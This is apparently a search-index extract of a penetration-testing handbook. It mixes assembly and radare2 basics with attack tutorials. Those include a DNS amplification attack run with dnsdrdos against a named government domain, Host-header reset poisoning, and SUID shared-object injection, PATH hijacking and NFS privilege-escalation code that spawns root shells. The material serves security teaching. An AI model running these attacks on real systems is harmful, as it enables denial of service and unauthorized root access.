scr.nkey\n| so [N] Seek to N next opcode(s)\n| sr pc Seek to register\n| ss Seek silently (without adding an entry to the seek history) > 3s++ ; 3 times block-seeking\n> s 10+0x80 ; seek at 0x80+10","breadcrumbs":"Reverse Engineering ยป Reverse Engineering with radare2 ยป Seeking ยป Seeking","id":"315","title":"Seeking"},"316":{"body":"","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป Introduction","id":"316","title":"Introduction"},"317":{"body":"","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Introduction","id":"317","title":"Introduction"},"318":{"body":"Variables in assembly do not exists in the same sense as they do in higher-level programming languages. This is especially true of local variabls such as those inside functions. Instead of allocating space for a particular value and having that place be \"named\" according to a variable, the compiler may use a combination of stack and heap allocations as well as registers to achieve behaviour resembling a variable. That being said, there are some parallels with higher-level programming languages as well. When manually programming assembly, it should be noted that variable names are more or less identical to addresses.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Introduction","id":"318","title":"Introduction"},"319":{"body":"Assembly constants cannot be changed during run-time execution. Their value is substituted at assembly-time (corresponding to compile-time substitution for constants in higher-level languages). Consequently, constants are not even assigned a location in memory, for they turn into hard-coded values. Defining constants in assembly is done in the following way: equ For example, EXAMPLE equ 0xdeadbeef","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Constants","id":"319","title":"Constants"},"32":{"body":"Notwithstanding its age, onesixtyone is a good tool which allows you to bruteforce community strings by specifying a file instead of a single string with its -c option. It's syntax is rather simple:","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป Bruteforce community strings with onesixtyone","id":"32","title":"Bruteforce community strings with onesixtyone"},"320":{"body":"Static or global variables which are initialised before the programme executes are stored in the .data section. In order to define such a variable, you must give it a name, data size and value. In contrast with constants, such data can be mutated during run-time. The following data size declarations can be used: Declaration Size (in bits) Type db 8 dw 16 dd 32 dq 64 ddq 128 Integer dt 128 Floating-Point The syntax for declaring such variables is as follows: For example: byteVar db 0x1A ; byte variable","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Static Initialised Data","id":"320","title":"Static Initialised Data"},"321":{"body":"Static uninitialised data is stored in the .bss section. The syntax for allocating such variables is following: Such variables are usually allocated as chunks, hence the required count. The primary data types are as follows: Declaration Size (in bits) resb 8 resw 16 resd 32 resq 64 resdq 128 Some examples: bArr resb 10 ; 10 element byte array wArr resw 50 ; 50 element word array dArr resd 100 ; 100 element double array qArr resq 200 ; 200 element quad array","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Variables ยป Static Uninitialised Data","id":"321","title":"Static Uninitialised Data"},"322":{"body":"Data representation refers to the way that values are stored in a computer. For technical reasons, computers do not use the familiar base-10 number system but rather avail themselves of the base-2 (binary) system. Under this paradigm, numbers are represented as 1's and 0's.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Introduction","id":"322","title":"Introduction"},"323":{"body":"When storing an integer value, there are two ways to represent it - signed and unsigned - depending on whether the value should be entirely non-negative or may also have a \"-\" sign. Based on the number of bits used for storing a value, the value may have a different range. Size Range Size Unsigned Range Signed Range Byte (8 bits) 28 [0..255] [โˆ’128..+127] Word (16 bits) 216 [0..65,535] [โˆ’32,768..+32,767] Doubleword (32 bits) 232 [0..4,294,967,295] [โˆ’2,147,483,648..+2,147,483,647] Quadword (64 bits) 264 [0..264โˆ’1] [โˆ’263..+263โˆ’1] Double Quadword (128 bits) 2128 [0..2128โˆ’1] [โˆ’2127..+2127โˆ’1] Unsigned integers are represented in their typical binary form.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Integer Representation","id":"323","title":"Integer Representation"},"324":{"body":"Signed integers are represented using two's complement. In order to convert a acquire the negative form of a number in two's complement, is two negate all of its bits and add 1 to the number. A corollary of this representation is that it adds no complexity to the addition and subtraction operations.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Data Representation ยป Two's Complement","id":"324","title":"Two's Complement"},"325":{"body":"Addressing modes refer to the supported methods for accessing and manipulating data. There are three basic addressing modes in x86-64: register, immediate and memory.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Introduction","id":"325","title":"Introduction"},"326":{"body":"In register mode addressing, the operand is a register ( brain undergoing nuclear-fission ). mov rax, rbx The value inside rbx is copied to rax.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Register Mode Addressing","id":"326","title":"Register Mode Addressing"},"327":{"body":"In immediate mode addressing, the operand is an immediate value, or a literal . These are simply constant values such as 10, 0xfa3, \"lol\", and so on. mov rax, 123 The number 123 is copied into rax.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Immediate Mode Addressing","id":"327","title":"Immediate Mode Addressing"},"328":{"body":"In memory mode addressing, the operand is treated as a memory location. This is referred to as indirection or dereferencing and is similar to how pointers can be dereferenced in C/C++. In assembly, this is done by wrapping the operand in square brackets: []. So for example, rax refers to the value stored within the register rax. However, [rax] means \"treat rax like a pointer and use the value it points to\". Essentially, [rax] treats the value inside the register as an address and uses that address to find the actual value it needs. mov DWORD PTR [rax], 0xdeadbeef The value 0xdeadbeef is copied into the location pointed to by rax. Since memory is byte-addressable, it is oftentimes required to specify how many bytes we want to access. This is done by prepending one of the following specifiers to the operand: Specifier Number of Bytes BYTE PTR / byte 1 WORD PTR / word 2 DWORD PTR / dword 4 QWORD PTR / qword 8 Moreover, the actual formula for memory addressing is a bit more complicated, since it was developed mainly for making the implementation of arrays easier. [baseAddr + (indexReg * scaleValue) + offset] The baseAddr must be a register or variable name, although it may be omitted in which case the address is relative to the beginning of the data segment. indexReg is a register which specifies contains an index into the array and the scaleValue is the size (in bytes) of a single member of the array. The offset must be an immediate value. mov eax, dword [ebx] ; move into eax the value which ebx points to\nmov rax, QWORD PTR [rbx + rsi] ; move into rax the value which (rbx + rsi) points to\nmov rcx, qword [rax+(rsi*8)] ; move into rcx the value which (rax + (rsi*8)) points to","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Addressing Modes ยป Memory Mode Addressing","id":"328","title":"Memory Mode Addressing"},"329":{"body":"Memory is nothing more than a series of bytes which can be individually addressed. When storing values which are larger than a single byte, the bytes under the x86-64 paradigms are stored in little-endian order - the least significant byte (LSB) at the lowest memory address and the most significant byte (MSB) at the highest memory address. For example, the variable var = 0xDEADBEEF would be represented in memory as follows: Note how the right-most byte is at a lower address and the addresses for the rest of the bytes increase as we go right-to-left.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Memory ยป Endianness","id":"329","title":"Endianness"},"33":{"body":"The Leightweight Directory Access Protocol (LDAP) is a protocol which facilitates the access and locating of resources within networks set up with directory services. It stores valuable data such as user information about the organisation in question and has functionality for user authentication and authorisation. What makes LDAP especially easy to enumerate is the possible support of null credentials and the fact that even the most basic domain user credentials will suffice to enumerate a substantial portion of the domain. LDAP runs on the default ports 389 and 636 (for LDAPS), while Global Catalog ( Active Directory 's instance of LDAP) is available on ports 3268 and 3269. Tools which can be used to enumerate LDAP include ldapsearch and windapsearch .","breadcrumbs":"Reconnaissance ยป Enumeration ยป LDAP Enumeration (389, 636, 3268, 3269) ยป Introduction","id":"33","title":"Introduction"},"330":{"body":"Below is the general memory layout of a programme: The reserved section is unavailable to user programmes. The .text sections stores the instructions which comprise the programme's code. Static variables which were declared and given a value at assemble-time are stored in the .data section. The .bss section stores static uninitialised data, i.e variables which were declared but were not provided with an initial value. If such variables are used before they are initialised, their value will be meaningless. The Stack and the Heap are where data can be allocated at run-time. The Stack is used for allocating space for small amounts of data with a size known at compile-time and grows from higher to lower addresses. Conversely, the Heap allows for the dynamic allocation of space for data of size known at run-time and grows from lower to higher addresses.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Memory ยป Memory Layout","id":"330","title":"Memory Layout"},"331":{"body":"Registers are value containers which reside on the CPU (separately from RAM). They are small in size and some have special purposes. x86-64 assembly operates with 16 general-purpose registers (GPRs). It should be noted that the 8-byte (r) variants do not exist in 32-bit mode. 64-bit Register Lower 4 Bytes Lower 2 Bytes Lower 1 Byte rbp ebp bp bpl rsp esp sp spl rip eip rax eax ax al rbx ebx bx bl rcx ecx cx cl rdx edx dx dl rsi esi si sil rdi edi di dil r8 r8d r8w r8b r9 r9d r9w r9b r10 r10d r10w r10b r11 r11d r11w r11b r12 r12d r12w r12b r13 r13d r13w r13b r14 r14d r14w r14b r15 r15d r15w r15b Each row contains names which refer to different parts of the same register. Note, the lower 16 bits of the rip register (instruction pointer) are inaccessible on their own. For example, the rax register could be set to the following: rax = 0x0000 000AB 10CA 07F0 The name eax would then only refer to the part of the rax register which contains 10CA 07F0. Similarly, ax would represent 07F0, and al would be just F0. Additionally, the upper byte of ax, bx, cx and dx may be separately accessed by means of the ah, bh, ch and dh monikers, which exist for legacy reasons.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Introduction","id":"331","title":"Introduction"},"332":{"body":"Not all registers available in the x86-64 paradigm are created equal. Certain registers are reserved for specific purposes, despite being called general-purpose.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Register Specialisation","id":"332","title":"Register Specialisation"},"333":{"body":"The stack pointer rsp (esp for 32-bit machines) is used to point to the current top of the stack and should not be used for any other purpose other than in instructions which involve stack manipulation.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Stack Pointer rsp","id":"333","title":"The Stack Pointer rsp"},"334":{"body":"The base pointer rbp (ebp for 32-bit machines) is the twin brother of the stack pointer and is used as a base pointer when calling functions. It points to the beginning of the current function's stack frame. Interestingly enough, its use is actually gratuitous because compilers can manage the stack frames of functions equally well without a separate base pointer. It is mostly used to make assembly code more comprehensible for humans.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Base Pointer rbp","id":"334","title":"The Base Pointer rbp"},"335":{"body":"The instruction pointer rip (eip for 32-bit machines) points to the next instruction to be executed. It is paramount not to get confused when using a debugger, since the rip does not actually point to the instruction currently being executed.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Instruction Pointer rip","id":"335","title":"The Instruction Pointer rip"},"336":{"body":"The flag register rFlags (eFlags for 32-bit machines) is an isolated register which is automatically updated by the CPU after every instruction and is not directly accessible by programmes. Following is a table of the meaning assigned to different bits of this register. Note that only the lower 32 bits are used even on 64-bit machines. Name Symbol Bit Usage =1 =0 Carry CF 0 Indicates whether the previous operation resulted in a carry-over. CY (Carry) CN (No Carry) 1 Reserved. Always set to 1 for eFlags. Parity PF 2 Indicates whether the least significant byte of the previous instruction's result has an even number of 1's. PE (Parity Even) PO (Parity Odd) 3 Reserved. Auxiliary Carry AF 4 Used to support binary-coded decimal operations. AC (Auxiliary Carry) NA (No Auxiliary Carry) 5 Reserved. Zero ZF 6 Indicates whether the previous operation resulted in a zero. ZR (Zero) NZ (Not Zero) Sign SF 7 Indicates whether the most significant bit was set to 1 in the previous operation (implies a negative result in signed-data contexts). NG (Negative) PL (Positive) Trap TF 8 Used by debuggers when single-stepping through a programme. Interrupt Enable IF 9 Indicates whether or not the CPU should immediately respond to maskable hardware interrupts. EI (Enable Interrupt) DI (Disable Interrupt) Direction DF 10 Indicates the direction in which several bytes of data should be copied from one location to another. DN (Down) UP (Up) Overflow OF 11 Indicates whether the previous operation resulted in an integer overflow. OV (Overflow) NV (No Overflow) I/O Privilege Level IOPL 12-13 Nested Task NT 14 Mode MD 15 Resume RF 16 Virtual 8086 Mode VM 17 31-63 Reserved.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป The Flag Register rFlags","id":"336","title":"The Flag Register rFlags"},"337":{"body":"In addition to the aforementioned registers, the x86-64 paradigm includes 16 registers, xmm[0-15], which are used for 32- and 64-bit floating-point operations. Furthermore, the same registers are used to support the Streaming SIMD Extensions (SSE) which allow for the execution of Single Instruction Multiple Data (SIMD) instructions.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Registers ยป Floating-Point Registers and SSE","id":"337","title":"Floating-Point Registers and SSE"},"338":{"body":"The x86-64 assembly paradigm has quite a lot of different instructions available at its disposal. An instructions consists of an operation and a set of operands where the latter specify the data and the former specifies what is to be done to that data.","breadcrumbs":"Reverse Engineering ยป Assembly Programming ยป x86-64 ยป Instruction Set ยป Introduction","id":"338","title":"Introduction"},"339":{"body":"Typically, instruction signatures are represented using the following operand notation. Operand Notation Description Register operand. , , , Register operand with a specific size requirement. Source operand. Destination operand - this may be a register or memory location. Floating-point destination register operand. Immediate value (a literal). Base-10 by default, but can be preceded with 0x to make it hexadecimal. Memory location - a variable name or an address. Arbitrary operand - immediate value, register or memory location. .'\">View Me! Here, a new URL is generated based on the value of a parameter $val. Here, the attacker passes the value 123%26action=edit onto the parameter. The URL-encoded value for & is %26. When this gets to the htmlspecialchars function, the %26 gets converted to an &. When the URL gets formed, it becomes And since this is view as HTML, an additional parameter has been smuggled! The link would be equivalent to /page.php? action=view&par=123&action=edit This second action parameter could cause unexpected behaviour based on how the server handles duplicate requests.","breadcrumbs":"Exploitation ยป Web ยป HTTP Parameter Pollution ยป Client-Side HPP","id":"140","title":"Client-Side HPP"},"141":{"body":"The HTTP Host header is a mandatory header for HTTP requests and specifies the domain name which the client wants to access. This is especially handy with virtual hosting because a single IP address may provide different services on different domains and the server needs to know which page to return to the client. For example, the same machine may serve a blog website at blog.example.com and a git repository at dev.example.com. In order to specify which of the two services the client wants to access, they must specify either the header Host: blog.example.com or dev.example.com, respectively, in their request. A host header injection vulnerability arises when the target application unsafely uses the contents of the Host header, typically in order to construct an absolute URL.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Introduction","id":"141","title":"Introduction"},"142":{"body":"This technique involves using Host Header Injection in order to force a vulnerable application to generate a password reset link which points to a malicious domain. This may be leveraged to steal the secret tokens required to reset the passwords of arbitrary users and consequently compromise their accounts. Typically applications implement password resetting as follows. The user specifies their username/email. The server generates a temporary, unique, high-entropy token for the user. The server generates a URL for the password reset with the secret token included as a URL parameter. For example, example.com/reset?token=abcdefghijklmnopqrstuvwxyz The server sends an email to the client which includes the generated password reset link. When the user clicks the link in their email, the token in the URL is used by server in order to determine whose password is being reset and whether or not it is a valid request. If the Host header of the request for a password reset is used in generating the password reset URL, an adversary may leverage it in order to steal the token for an arbitrary user. For example, an adversary could submit a password reset request for a user, e.g. carlos, intercept the request and modify the Host header to point to a domain controlled by them: Host: exploit-server.com. When the server generates the password reset URL, it will resemble the following, http://exploit-server.com/reset?token=abcdefghijklmnopqrstuvwxyz. If the victim clicks on the link, their token will be handed over to the attacker by means of the exploit-server.com domain which receives the password reset request. This type of attack, however, does not always require user interaction because emails are typically scanned be it to determine if they are spam or if they contain a virus and the scanners will oftentimes open the links themselves, all automatically, thus giving the attacker the token to reset the password.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Password Reset Poisoning","id":"142","title":"Password Reset Poisoning"},"143":{"body":"Check to see if absolute URLs are necessary and cannot be replaced with relative ones. If an absolute URL is necessary, ensure that the current domain is stored in a configuration file and do NOT use the one from the Host: header. If using the Host header is inevitable, ensure that it is validated against a whitelist of permitted domains. Different frameworks may provide different methods for achieving this. Drop support for additional headers which may permit such attacks, such as the X-Forward-Host header. Do NOT virtual-host internal-only websites on a server which also provides public-facing content, since those may be accessed via manipulation of the Host header.","breadcrumbs":"Exploitation ยป Web ยป Host Header Injection ยป Prevention","id":"143","title":"Prevention"},"144":{"body":"","breadcrumbs":"Exploitation ยป Windows ยป Windows","id":"144","title":"Windows"},"145":{"body":"Shell Command Files (SCF) permit a limited set of operations and are executed upon browsing to the location where they are stored. What makes them interesting is the fact that they can communicate through SMB, which means that it is possible to extract NTLM hashes from Windows hosts. This can be achieved if you are provided with write access to an SMB share.","breadcrumbs":"Exploitation ยป Windows ยป SCF File Attacks ยป Introduction","id":"145","title":"Introduction"},"146":{"body":"You will first need to create a malicious .scf file where you are going to write a simple (you can scarcely even call it that) script.","breadcrumbs":"Exploitation ยป Windows ยป SCF File Attacks ยป The Attack","id":"146","title":"The Attack"},"147":{"body":"","breadcrumbs":"Exploitation ยป DNS ยป DNS","id":"147","title":"DNS"},"148":{"body":"A DNS (Traffic) Amplificaton attack is a popular form of a distributed denial of service (DDoS) attack, which abuses open DNS resolvers to flood a target system with DNS response traffic. It's called an amplification attack because it uses DNS responses to upscale the size of the data sent to the victim.","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป What is DNS Traffic Amplification?","id":"148","title":"What is DNS Traffic Amplification?"},"149":{"body":"An attacker sends a DNS name lookup to an open resolver with the source IP spoofed to be the victim's IP address. That way, any response traffic would be sent to the victim and not the attacker. The requests submitted by the attacker usually aim to query for as much information as possible in order to maximise the amplification effect. In most cases, the queries sent are of type ANY which requests all known information about a particular DNS zone. Using a botnet, it's easy to create immense amounts of traffic. It is also rather difficult to protect against these attacks because the traffic is coming from legitimate sources - real DNS servers.","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป How does it work?","id":"149","title":"How does it work?"},"15":{"body":"This is the process of discovering active hosts on a network, either for attacking them or assessing the overall network security.","breadcrumbs":"Reconnaissance ยป Enumeration ยป Network Scanning","id":"15","title":"Network Scanning"},"150":{"body":"","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป Conducting a DNS Traffic Amplification Attack","id":"150","title":"Conducting a DNS Traffic Amplification Attack"},"151":{"body":"We should first check if a DNS Traffic Amplification is possible and if it's viable. We can do this through Metasploit using the module auxiliary/scanner/dns/dns_amp. In the RHOSTS you need to put the IP of the name server you want to test. This module will tell you if a name server can be used in an amplification attack but won't actually execute the attack. Run the scanner:","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป Testing a DNS server for attack surface","id":"151","title":"Testing a DNS server for attack surface"},"152":{"body":"A simple tool is available only as a proof of concept here . You will need to download and then compile it: wget https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c gcc -o dnsdrdos dnsdrdos.c -Wall -ansi โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ wget https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c\n--2021-09-21 13:01:11-- https://raw.githubusercontent.com/rodarima/lsi/master/entrega/p2/dnsdrdos.c\nResolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ...\nConnecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 15109 (15K) [text/plain]\nSaving to: โ€˜dnsdrdos.cโ€™ dnsdrdos.c 100%[========================================================================================================================================>] 14.75K --.-KB/s in 0.001s 2021-09-21 13:01:11 (17.9 MB/s) - โ€˜dnsdrdos.cโ€™ saved [15109/15109] โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ gcc -o dnsdrdos dnsdrdos.c -Wall -ansi Now, create a file containing the IP's of each DNS server you want to use in the attack (only one IP per line). Use the following syntax to run the attack: sudo ./dnsdrdos -f -s -d -l โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ sudo ./dnsdrdos -f dns_servers -s 192.168.129.2 -d nsa.gov -l 30\n----------------------------------------------- dnsdrdos - by noptrix - http://www.noptrix.net/ ----------------------------------------------- โ”Œโ”€โ”€(cr0mll@kali)-[~/MHN/DNS]-[]\nโ””โ”€$ The output may be empty, but the packets were sent. You can verify this with wireshark:","breadcrumbs":"Exploitation ยป DNS ยป DNS Traffic Amplification ยป Executing the attack","id":"152","title":"Executing the attack"},"153":{"body":"A flaw of all DNS name servers is that if they contain incorrect information, they may spread it to clients or other name servers. Each DNS name server (even individual clients) has a DNS cache. The system stores there information about any responses it gets for domains it requested. An attacker could inject false entries in this cache and as such, any computer which queries the poisoned name server will receive false results. This is known as DNS cache poisoning . The attack can be used to redirect users to a different website than the requested one. As such, it opens opportunities for phishing attacks by creating evil twins of login portals for well-known sites. A tool for performing such targeted attacks is deserter . Usage information is available on its GitHub page.","breadcrumbs":"Exploitation ยป DNS ยป DNS Cache Poisoning ยป Introduction","id":"153","title":"Introduction"},"154":{"body":"","breadcrumbs":"Post Exploitation ยป Post Exploitation","id":"154","title":"Post Exploitation"},"155":{"body":"","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Introduction","id":"155","title":"Introduction"},"156":{"body":"The first thing you need to do after gaining a foothold on a machine is to look for reused credentials. You should try every password you have gathered on all users, you never know when you might find an easy escalation to root. Next, you should hunt down sensitive files and look for stored credentials in configuration and source files of different applications. Naturally, you should also enumerate any local databases you find. Additionally, SSH keys are something to be on the lookout for. You should also go through the bash history and look for any passwords which were passed as command-line arguments. You should then move on to looking for exploits. Kernel exploits are really low-hanging fruit, so you should always check the kernel version. Subsequently, proceed by enumerating sudo and the different ways to exploit it, for example via Shell Escape Sequences or LD_PRELOAD . Following, you should proceed by tracking down any misconfigurations such as excessive capabilities or SUID Binaries . You should check if you have write access to any sensitive files such as /etc/passwd or /etc/shadow, as well as any cron jobs or cron job dependencies. Ultimately, you should move on to enumerating running software and services which are executed as root and try to find vulnerabilities in them which may allow for privilege escalation. This can all be summed up into the following: Credentials Reused Credentials Credentials in Configuration or Source Files Credentials from Databases Credentials in Sensitive Files Credentials from Bash History SSH Keys Exploitation Kernel Exploits Sudo Misconfigurations Excessive Capabilities SUID/SGID Binaries Write Access to Sensitive Files Writable Cron Jobs and Cron Job Dependencies Installed Software Vulnerabilities in Software and Services Running as Root","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Methodology","id":"156","title":"Methodology"},"157":{"body":"The Set Owner User ID (SUID) and Set Group ID (SGID) are special permissions which can be attributed to Linux files and folders. Any files which are owned by root and have SUID set will be executed with elevated privileges. Our goal is to hunt down those files and abuse them in order to escalate our privileges. This can be easily done with the following command: find / -perm -u=s -type f -user root 2>/dev/null","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Introduction","id":"157","title":"Introduction"},"158":{"body":"You should diligently inspect the list of files returned. Some standard Linux binaries may allow for privilege escalation if they have the SUID bit set for one reason or another. It is useful to go through these binaries and check them on GTFOBins . In the above example, we find that /bin/systemctl has the SUID bit set and that it also has an entry in GTFOBins : By following the instructions, although with slight modifications, we can run commands with elevated privileges:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Exploiting Misconfigured Common Binaries","id":"158","title":"Exploiting Misconfigured Common Binaries"},"159":{"body":"Some binaries may be vulnerable to Shared Object (SO) Injection. This typically stems from misconfigurations where the binary looks for a specific library in a specific directory, but can't actually find it. If we have write access to this directory, we can hijack the search for the library by compiling our own malicious library in the place where the original one was supposed to be. This is quite similar to escalating via LD_PRELOAD , but it is a bit more difficult to find and exploit. You will first need to identify an SUID binary which has misconfigured shared libraries. A lot of the times the binary will refuse to run, saying that it is missing a particular library, however, this is not always the case: It is always good practice to run the programme with strace, which will print any attempts of the binary to access libraries: strace 2>&1 | grep -iE \"open|access\" What stands out in particular is the /home/user/.config/libcalc.so library, since /home/user/.config/ may be a writable directory. It turns out that the directory doesn't even exist, however, we can write to /home/user/ which means that we can create it. What now remains is to compile a malicious library into libcalc.so. #include \n#include static void inject() __attribute__((constructor)); void inject()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\");\n} For older versions of GCC, you may need to use the _init() function syntax: #include \n#include void _init()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\");\n} Compile the malicious library: gcc -shared -fPIC -o libcalc.so libcalc.c # add -nostartfiles if using _init()","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Privilege Escalation via Shared Object Injection","id":"159","title":"Privilege Escalation via Shared Object Injection"},"16":{"body":"Reveals the presence of known vulnerabilities. It checks whether a system is exploitable through a set of weaknesses. Such a scanner consists of a catalog and a scanning engine. The catalog contains information about known vulnerabilities and exploits for them that work on a multitude of servers. The scanning engine is responsible for the logic behind the exploitation and analysis of the results.","breadcrumbs":"Reconnaissance ยป Enumeration ยป Vulnerability Scanning","id":"16","title":"Vulnerability Scanning"},"160":{"body":"Path Hijacking refers to the deliberate manipulation of environmental variables, most commonly \\$PATH, such that the invocations of programmes in a binary actually refer to malicious binaries and not the intended ones. This vector requires more sophisticated digging into the internals of an SUID binary, specifically tracking down the different invocations the binary performs. This can commonly be achieved by running strings on the binary, but you will probably have to resort to more serious reverse engineering, as well. Specifically, you want to be on the lookout for shell commands which get executed by the SUID binary.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Privilege Escalation via Path Hijacking","id":"160","title":"Privilege Escalation via Path Hijacking"},"161":{"body":"Relative paths are comparably easy to hijack - they require little other than editing the \\$PATH variable. Once you have identified a shell command within an SUID binary which invokes another programme via a relative path, you can just prepend to the \\$PATH a directory which will contain an executable with the same name as the one originally invoked. Let's compile our own malicious binary. #include \n#include int main()\n{ setuid(0); setgid(0); system(\"/bin/bash -i\"); return 0;\n} gcc -o /tmp/service /tmp/service.c Afterwards, we need to prepend /tmp to the \\$PATH variable: export PATH=/tmp:\\$PATH And finally, run the original SUID binary:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Hijacking Relative Paths","id":"161","title":"Hijacking Relative Paths"},"162":{"body":"Absolute paths require a bit more work to be hijacked. Luckily, bash turns out to be very sophisticated and allows for the creation of functions which have the forward slash (/) character in their name. This means that we can create a malicious bash function with the same name as the absolute path we want to hijack and then our function will be invoked in lieu of the original programme. First, create the bash function: function () { cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p; } Next, export the function: export -f Finally, run the original SUID binary:","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Abusing SUID & SGID Binaries ยป Hijacking Absolute Paths","id":"162","title":"Hijacking Absolute Paths"},"163":{"body":"The kernel is the layer which sits between applications and the hardware. It runs with root privileges, so if it gets exploited, privileges can be escalated. Finding kernel vulnerabilities and writing exploits for them is no trifling task, however, once such a vulnerability is made public and exploit code for it is developed, it easily becomes a low-hanging fruit for escalating privileges. A very useful list of kernel exploits found to date is located here . Finding already existing exploits is really easy - just search for the Linux kernel version!","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Kernel Exploits ยป Introduction","id":"163","title":"Introduction"},"164":{"body":"As an example, we are going to exploit dirtyc0w. This was a very ubiquitous exploit and can still be found on numerous outdated machines. The exploit itself has many versions but for demonstration purposes we are going to use the one at https://www.exploit-db.com/exploits/40839 . We need to first verify that our kernel version is in the vulnerable range. Inside the exploit we see compilation instructions, which is typical of kernel exploits as they are usually written in C: By compiling and running the exploit (it may actually take some time to execute), we have elevated our privileges!","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Kernel Exploits ยป Exploiting the Kernel","id":"164","title":"Exploiting the Kernel"},"165":{"body":"It is common to see a low-privileged user to be configured to be able to run some commands via sudo without a password. Luckily, many existing programmes for Linux have advanced capabilities which allow them to do many things such as spawning a shell when run with sudo. If such a programme is configured in the aforementioned way, then there is a shell escape sequence which is a (usually) simple command/argument passed to the programme when run, so that it spawns a shell with elevated privileges when run with sudo. Naturally, these shell escape sequences are programme-specific and it would be inane to try and remember the sequence for every binary. This is where GTFOBins comes in. This is a database of commands (including shell escape sequences) for common Linux binaries which can be used for escalating privileges. We saw in the above list provided by sudo -l that we are allowed to run find as root via sudo. Let's check if there is a shell escape sequence for it. There is! We can copy and paste it, then run it with sudo, and we should at last have a root shell: Another example can be given with the awk binary, which we also saw in the list provided by sudo -l.","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป Sudo Shell Escape Sequences ยป Introduction","id":"165","title":"Introduction"},"166":{"body":"The compromised machine may be configured to allow certain directories to be mounted by other machines. You can enumerate such directories by running the following command on the victim machine: cat /etc/exports You can additionally verify this from your attacker machine by running: showmount -e If there is a mountable directory which is configured as no_root_squash, as is the case here, then it can be used for privilege escalation. We begin by mounting the target directory from the victim to a directory on our machine: sudo mount -o rw, vers=3 :/tmp /tmp/root_squash Now, if no_root_sqaush is configured for the mountable directory, then the root user on the attacker machine will get mirrored on the victim machine. In essence, any command run as root on the attacker machine, will also be executed as root on the victim! This can allow us to create a malicious binary in the mounted directory and set its SUID bit from the attacker machine. This action will be mirrored by the victim and we will essentially have an SUID binary on the target which is all under our control. Let's write a simple malicious C executable: #include \n#include int main()\n{ setuid(0); // Set user ID to root setgid(0); // Set group ID to root system(\"/bin/bash -i\"); // Execute bash now with elevated privileges return 0;\n} It doesn't matter if you create it on the target or the attacker machine, but you must compile it on the target machine in order to avoid library version mismatches: gcc -o nfs_exploit nfs_exploit.c Next, you want to change the ownership of the compiled binary to root on the attacker machine . Afterwards, you want to set the SUID bit on the binary, once again, from the attacker machine : sudo chown root:root nfs_exploit\nsudo chmod +s nfs_exploit Finally, execute the malicious binary on the target :","breadcrumbs":"Post Exploitation ยป Privilege Escalation ยป Linux ยป NFS Root Squashing ยป Introduction","id":"166","title":"Introduction"},"167":{"body":"Linux capabilities provide a way for splitting permissions into small units. A binary 